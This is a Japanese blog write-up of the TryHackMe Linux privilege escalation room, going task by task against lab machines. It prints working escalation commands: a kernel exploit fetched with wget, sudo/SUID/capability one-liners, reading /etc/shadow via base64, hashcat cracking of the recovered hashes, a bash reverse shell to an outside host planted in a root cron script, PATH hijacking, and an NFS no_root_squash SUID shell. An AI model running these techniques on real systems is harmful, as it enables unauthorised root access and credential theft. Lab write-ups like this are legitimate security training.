【TryHackMe】「LinuxPrivEsc」のWriteup

CTF
この記事は約34分で読めます。

TryHackMeのLinuxPrivEscコースのWriteup。

TryHackMe | Cyber Security Training

LinuxPrivEscについて

LinuxPrivEscは、Linuxのローカル権限をroot権限に昇格させる手段を学ぶためのコース。
最後の問題は実践演習になっていて、このルームで学んだことをいろいろ使って攻略することになる。

Task1,2

Introductionと説明文

Task3 Enumeration

SSH用のユーザーアカウントとパスワードが与えられるのでログイン。

 $ssh karen@10.10.141.116 

ホストネーム、Kernel Version、ディストリビューション、Pythonのバージョンについて調べるのが課題。

$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ cat /proc/version
Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
$ cat /etc/issue
Ubuntu 14.04 LTS \n \l
$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.

ということで収集OK。

次のお題は、「ターゲットのシステムで有効っぽい脆弱性は何?CVE番号を答えよ」。

$ searchsploit ubuntu 14.04
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apport (Ubuntu 14.04/14.10/15.04) - Race Condition Privilege Escalation                                                                                                                                    | linux/local/37088.c
Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation                                                                                                                                                | linux/local/36782.sh
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution                                                                                                                                           | linux/local/40937.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation                                                 | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation                                                                        | linux_x86/local/42276.c
Linux Kernel (Ubuntu 14.04.3) - 'perf_event_open()' Can Race with execve() (Access /etc/shadow)                                                                                                            | linux/local/39771.txt
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation                                                                                                       | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)                                                                                  | linux/local/37293.txt
Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Privilege Escalation                                                                                                   | linux/local/41999.txt
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1)                                                                                                                       | linux/local/39166.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation                                                                                                           | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Escalation                                                                                                | windows_x86-64/local/47170.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)                                                                                                      | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)                                                                                  | linux/local/47169.c
NetKit FTP Client (Ubuntu 14.04) - Crash/Denial of Service (PoC)                                                                                                                                           | linux/dos/37777.txt
Ubuntu 14.04/15.10 - User Namespace Overlayfs Xattr SetGID Privilege Escalation                                                                                                                            | linux/local/41762.txt
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation                                                                                                                     | linux/local/41760.txt
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation                                                                                                                                  | linux/local/36820.txt
WebKitGTK 2.1.2 (Ubuntu 14.04) - Heap based Buffer Overflow                                                                                                                                                | linux/local/44204.md
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

今回はローカル特権昇格がテーマなので、ローカル権限昇格のうち、一番上の脆弱性に注目。
こちらにアクセスしてCVEを確認してクリア。

Task4 Automated Enumeration Tools

読むだけなのでパス。

Task5 Kernel Exploits

お題はカーネルエクスプロイトで権限昇格するというもの。
SSHで接続してカーネルバージョン確認。

$ cat /etc/issue
Ubuntu 14.04 LTS \n \l

Task3で収集した脆弱性を使えそうなので、ExploitCodeを確認。
今回のExploitCodeはc言語だったので、攻撃側端末のnanoエディターでexploit.cを作り、ソースコードを貼り付けてコンパイル。
そして、攻撃側端末上でWebサーバを起動。これはデータ転送用に使うものね。

$nano exploit.c
$gcc exploit.c -o exploit -masm=intel -w
$python3 -m http.server

次に、ターゲットの端末(SSHなう)にうつる。
現在のユーザーで書き込み可能なフォルダとしてtmpがあるので、そちらに移動する。
次に、exploitをwgetでダウンロード。
実行権限を付与して実行。

$cd /tmp
$wget http://10.10.10.254:8000/exploit
$chmod +x exploit

仕上げにexploitを実行すればroot権限をゲットできる。

$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# pwd
/tmp
# 

flagは適当に探す。

Task6 Sudo

最初のお題は、SSH接続するユーザーがsudo権限で実行できるプログラムの数を調べること。

SSH接続して以下のコマンドを実行。

$ sudo -l
Matching Defaults entries for karen on ip-10-10-87-166:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karen may run the following commands on ip-10-10-87-166:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

ということで3つ。

次のお題はroot権限を取ってどこかのflag2をゲットするというもの。

Linux標準コマンドの脆弱性を探すため、GTFOBinsにアクセス。

find | GTFOBins

すばらしい1行コマンドがあるので、これを実行すれば一発でroot権限に昇格完了。

$sudo find . -exec /bin/sh \; -quit

flagは適当に探す。

次のお題は「sudo権限があるとき、nmapからrootシェルを起動するにはどうする?」。

$sudo nmap --interactive

最後のお題は「フランクのパスワードのハッシュは?」

$cat /etc/shadow

これでTask6おわり。

Task7 SUID

お題は「超有名漫画家の名前のユーザーは誰?」
これは例のごとく/etc/passwdでOK。

次のお題は「user2のパスワードは?」

ユーザーのパスワードをクラックするために、今回はpasswdとshadowファイルを使う。
まずはpasswdからuser2の情報を入手。

$cat /etc/passwd
user2:x:1002:1002::/home/user2:/bin/sh
$cat /etc/passwd > passwd.txt

次に、shadowにアクセス。

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Oh…
ということでなにかいい感じの脆弱性を探すことに。

$find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/base64
...

はい。base64にSUIDですね。

base64をroot権限で動かせれば、いろんなファイルにアクセスできそう。
ということで、いつものところで調査。

base64へのエンコードとデコードをパイプで繋いで出力するという原始的な脆弱性があったのでそれを使う。

$ base64 /etc/shadow | base64 --decode
...
user2:$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:18796:0:99999:7:::
...
$ base64 /etc/shadow | base64 --decode > shadow.txt

hashcatでクラックするので、一度unshadowコマンドをかませる。
(今回はrootやそのほかのユーザのクラックはしないので、unshadow前にpasswd.txtとshadow.txtから消しておく)

$ unshadow passwd.txt shadow.txt > unshadowed.txt

そして、hashcatのサイトでshadowハッシュのhash_numberを検索。
今回は頭の$6$とい特徴的な部分で検索して、1800とわかった。
ということでhashcatでクラック。

$ hashcat -m 1800 -a 0 unshadowed.txt /usr/share/wordlists/rockyou.txt --force
$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/:Password1
$6$VjcrKz/6S8rhV4I7$yboTb0MExqpMXW0hjEJgqLWs/jGPJA7N/fEoPMuYLY1w16FwL7ECCbQWJqYLGpy.Zscna9GILCSaNLJdBP1p8/:Password1
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: sha512crypt $6$, SHA512 (Unix)
Hash.Target......: unshadowed.txt
Time.Started.....: Sat Nov 13 23:16:00 2021, (15 secs)
Time.Estimated...: Sat Nov 13 23:16:15 2021, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      454 H/s (5.83ms) @ Accel:16 Loops:1024 Thr:1 Vec:4
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 7040/28688770 (0.02%)
Rejected.........: 0/7040 (0.00%)
Restore.Point....: 3504/14344385 (0.02%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:4096-5000
Candidates.#1....: Password1 -> dracula

Started: Sat Nov 13 23:15:58 2021
Stopped: Sat Nov 13 23:16:17 2021

これでお題をクリア。
第三のお題はflagを探せなので、適当に探す。

Task8 Capabilities

今回のお題は「Capabilityをセットされたbinaryの数」
SSHしてgetcapを実行。

$getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/home/karen/vim = cap_setuid+ep
/home/ubuntu/view = cap_setuid+ep

capabilityは6つ。

次のお題はrootへの昇格。
今回はviewに注目。
GTFOBinsからexploitCodeを引っ張ってきて、ちょっといじって実行すればrootゲット。

$/home/ubntu/view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Task9 Cron Jobs

今回のテーマはCrontab。
最初のお題はCron Jobsの個数。

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py

ということで4つ。

次のお題はroot昇格。

先ほどのCron Jobsを見てみると、4つとも1分ごとに稼働していて、そのうちbackup.shはSSH接続したユーザ(karen)のホームディレクトリ以下にある。
おそらく書き込み権限があるので、これをターゲットにする。

$ cat backup.sh
#!/bin/bash
cd /home/admin/1/2/3/Results
zip -r /home/admin/download.zip ./*

現状、backup.shの中身は本当にバックアップをとるだけのよう。
ここにリバースシェルを仕込む。

$nano backup.sh
cd /home/admin/1/2/3/Results
zip -r /home/admin/download.zip ./*
/bin/bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

と変更して、攻撃端末でncを待ち受けていたが、リバースシェルがつながる様子がなかった。

原因を探してみると、backup.shに実行権限がついていなかった…
chmodして、待っていると…

$ nc -lvp 4444   
listening on [any] 4444 ...
10.10.122.242: inverse host lookup failed: Unknown host
connect to [10.9.3.211] from (UNKNOWN) [10.10.122.242] 48932
bash: cannot set terminal process group (12200): Inappropriate ioctl for device
bash: no job control in this shell
root@ip-10-10-122-242:~# 

rootになりました。

Task10 PATH

お題は「書き込み可能なフォルダは?」
SSH接続して検索。

$ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
dev/char
dev/fd
dev/full
dev/fuse
dev/log
dev/mqueue
dev/net
dev/null
dev/ptmx
dev/pts
dev/random
dev/shm
dev/stderr
dev/stdin
dev/stdout
dev/tty
dev/urandom
dev/zero
etc/udev
home/murdoch
run/acpid.socket
run/dbus
run/lock
run/screen
run/shm
run/snapd-snap.socket
run/snapd.socket
run/systemd
run/user
run/uuidd
snap/core
snap/core18
snap/core20
sys/fs
sys/kernel
tmp
tmp/.ICE-unix
tmp/.Test-unix
tmp/.X11-unix
tmp/.XIM-unix
tmp/.font-unix
usr/lib
var/crash
var/lock
var/tmp

この中では、/home/murdochが答え。(どれでもよくね?とも思う)

次のお題はrootゲット。
ひとまず/home/murdochに移動すると、testというELFファイルがあった。
SUIDもセットされているので、これがキーなのは間違いない。

$ cd /home/murdoch/
$ ls
test  thm.py
$ file test
test: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1724ca90b94176ea2eb867165e837125e8e5ca52, for GNU/Linux 3.2.0, not stripped
$ ls -l
total 24
-rwsr-xr-x 1 root root 16712 Jun 20 12:23 test
-rw-rw-r-- 1 root root    86 Jun 20 17:48 thm.py

testを実行したところ、thmというファイルを呼び出そうとして「thmが存在しない」と怒られている。
つまり、thmを呼び出そうとしているというわけなので、thmの作成とPATH追加をする。

$./test
sh: 1: thm: not found
$export PATH=/home/murdoch:$PATH
$echo "/bin/bash" > thm
$chmod +x thm
$./test
#

ということでrootになった。

Task11 NFS

最初のお題「マウント可能なshareはいくつあるか」
SSH接続する前にshowmountを実行。

$showmount -e 10.10.192.66 
Export list for 10.10.192.66:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

といことで列挙おわり。

(別解)
$nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.192.66                                         130 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-14 14:08 JST
Nmap scan report for 10.10.192.66
Host is up (0.33s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-statfs: 
|   Filesystem                 1K-blocks   Used       Available   Use%  Maxfilesize  Maxlink
|   /home/ubuntu/sharedfolder  30428560.0  1398900.0  29013276.0  5%    16.0T        32000
|   /tmp                       30428560.0  1398900.0  29013276.0  5%    16.0T        32000
|_  /home/backup               30428560.0  1398900.0  29013276.0  5%    16.0T        32000
| nfs-ls: Volume /home/ubuntu/sharedfolder
|   access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION  UID   GID   SIZE  TIME                 FILENAME
| rwxr-xr-x   0     0     4096  2021-11-14T05:07:24  .
| rwxr-xr-x   1000  1000  4096  2021-06-20T18:17:24  ..
| 
| 
| Volume /tmp
|   access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| ??????????  ?    ?    ?     ?                    .
| ??????????  ?    ?    ?     ?                    ..
| rwxrwxrwt   0    0    4096  2021-11-14T04:46:15  .ICE-unix
| rwxrwxrwt   0    0    4096  2021-11-14T04:46:15  .Test-unix
| rwxrwxrwt   0    0    4096  2021-11-14T04:46:15  .X11-unix
| rwxrwxrwt   0    0    4096  2021-11-14T04:46:15  .font-unix
| rwx------   0    0    4096  2021-11-14T04:46:32  snap.lxd
| rwx------   0    0    4096  2021-11-14T04:46:29  systemd-private-7dc72789d7df4a82832c446694742c00-systemd-logind.service-S0TRff
| rwx------   0    0    4096  2021-11-14T04:46:19  systemd-private-7dc72789d7df4a82832c446694742c00-systemd-resolved.service-6B9sTf
| rwx------   0    0    4096  2021-11-14T04:46:16  systemd-private-7dc72789d7df4a82832c446694742c00-systemd-timesyncd.service-PUzAyi
| 
| 
| Volume /home/backup
|   access: Read Lookup Modify Extend Delete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rw-r--r--   0    0    4096  2021-06-20T18:12:52  .
| ??????????  ?    ?    ?     ?                    ..
|_
| nfs-showmount: 
|   /home/ubuntu/sharedfolder *
|   /tmp *
|_  /home/backup *

次のお題は「そのうち、no_root_squashがついているのはいくつあるか」

no_root_squashとはNFSの設定項目のひとつで、これが設定されていると、SUIDでの特権昇格が可能になる。

どういうことかというと、NFSはデフォルトではドライブ上のファイルのroot権限での実行は許されておらず、rootで実行しようとしてもnfsnobodyというユーザーに自動的に変更されるようになっている。
ただし、no_root_squashが設定されていると、SUID付きのファイルをroot権限で実行できるということ。
この際に作るSUID付きファイルは、uidとgidをroot権限の0に設定したうえで、システム関数からbashを起動するものでOK。

ということなので、SSHして設定ファイルを見てみる。

$cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

全てのドライブにno_root_squashがついている…ということでこれが答え。

そしてメインのお題、権限昇格へ。

どれでもいいが、今回は/home/ubuntu/sharedfolderをマウント。

$mkdir sharedfolder
$sudo mount -t nfs 10.10.192.66:/home/ubuntu/sharedfolder sharedfolder -nolock

マウントができれば、マウントしたドライブ上でexploit用のコードを作る。

$cd sharedfolder
$sudo nano exploit.c
int main(){
  setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}
$gcc exploit.c -o exploit -masm=intel -w
$chmod 007 exploit
$chmod +s exploit

あとはSSHしたユーザーに戻って実行するだけ。

$./exploit
#

Task12 Capstone Challenge

今回は総仕上げの演習問題。

SSH用クレデンシャルとして
Username:leonard
Password:Penny123
が与えられる。
お題はflag1.txtとflag2.txtを見つけること。

$find / -name *flag1* 2>/devnull
$

残念ながら、leonardユーザーではflag1にはアクセスできないよう。

他ユーザーへのログインを検討するが、その前にsuid脆弱性の調査。

$find / -perm -u=s -type f 2>/dev/null
/usr/bin/base64
/usr/bin/ksu
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/newgrp
/usr/bin/staprun
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/Xorg
/usr/bin/mount
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-

はい。base64にsuidがありますね。
つまり、なんでも読み取り放題。

passwdとshadowから別ユーザーのパスワード調査をする。

$cat /etc/passwd
...
missy:x:1001:1001::/home/missy:/bin/bash
$cat /etc/shadow
許可なし
$base64 /etc/shadow | base64 --decode
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::

これを攻撃端末側のテキストファイルにコピーして、hashcatでクラック。

$unshadow passwd.txt shadow.txt > unshadowed.txt
$hashcat -m 1800 -a 0 unshadowed.txt /usr/share/wordlists/rockyou.txt --force
$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:Password1

といことで、新しいクレデンシャル
Username:missy
Password:Password1
をゲット。

ターゲットの端末に戻り、ユーザーを変更してflag1ゲット。

$su missy
$whoami
missy
$find / -name *flag1* 2>/dev/null
/home/missy/Documents/flag1.txt
$base64 /home/missy/Documents/flag1.txt | base64 --decode
****************************

次にflag2を探すが、missyからでは見えないよう。

調べてみると、missyはsudoでfindを実行可能と分かったので、GTFOBinsから攻撃コマンドをひっぱってきてrootに昇格。

$sudo -l
    (ALL) NOPASSWD: /usr/bin/find
$sudo find . -exec /bin/sh \; -quit
#find / -name *flag2* 2>/dev/null
/home/rootflag/flag2.txt
#cat /home/rootflag/flag2.txt
******************************

これでクリア。

まとめ

Linuxの権限昇格について勉強するコースだった。

おかしな設定項目にすることや、古いバージョンのOSを使い続けることで急所が生まれるというのを強く実感。
やっぱ基本大事。

コメント

タイトルとURLをコピーしました